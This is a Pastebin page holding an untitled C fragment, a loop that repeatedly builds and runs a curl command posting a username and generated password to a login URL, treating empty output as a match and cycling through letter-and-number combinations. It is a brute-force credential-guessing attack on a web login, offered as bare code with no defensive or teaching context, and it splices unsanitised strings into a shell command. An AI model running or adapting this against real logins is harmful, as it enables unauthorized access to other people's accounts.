Guest User

Untitled

a guest
Aug 6th, 2018
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.99 KB | None | 0 0
  1. for(;;)
  2. {
  3.     //create command for password match
  4.     sprintf(command, "curl -s -d \"username=%s&passwd=%s%d\" %s", mail, pass, numpass, url);
  5.    
  6.     //run command for password
  7.     fp = popen(command,"r");
  8.    
  9.     //check for errors
  10.     if(fp == NULL)
  11.     {
  12.         fprintf(stderr,"Error opening pipe.\n");
  13.         return 0;
  14.     }
  15.    
  16.     flag = 0;
  17.     while(fgets(result, sizeof(result)-1, fp) != NULL) {
  18.         flag = 1;
  19.     }
  20.    
  21.     if(!flag)
  22.         break; //we got the match!
  23.        
  24.     //generate next password match
  25.     if(++numpass < 100)
  26.         continue;
  27.        
  28.     numpass = 10; //we start again from numbers
  29.    
  30.     if(counters[0] < strlen(letters))
  31.     {
  32.         counters[0]++;
  33.         pass[0] = letters[counters[0]];
  34.         continue; //test next match
  35.     }
  36.    
  37.     counters[0] = 0;
  38.     pass[0] = letters[counters[0]];
  39.    
  40.     int i;
  41.     for(i = 0; i < LETTER_PASS; i++)
  42.     {
  43.         if(counters[i] < strlen(letters))
  44.         {
  45.             counters[i]++;
  46.             pass[i] = letters[counters[i]];
  47.             continue; //test next match
  48.         }
  49.        
  50.         counters[i] = 0;
  51.         pass[i] = letters[counters[i]];
  52.     }
  53.    
  54.     break;
  55.        
  56. }
Add Comment
Please, Sign In to add comment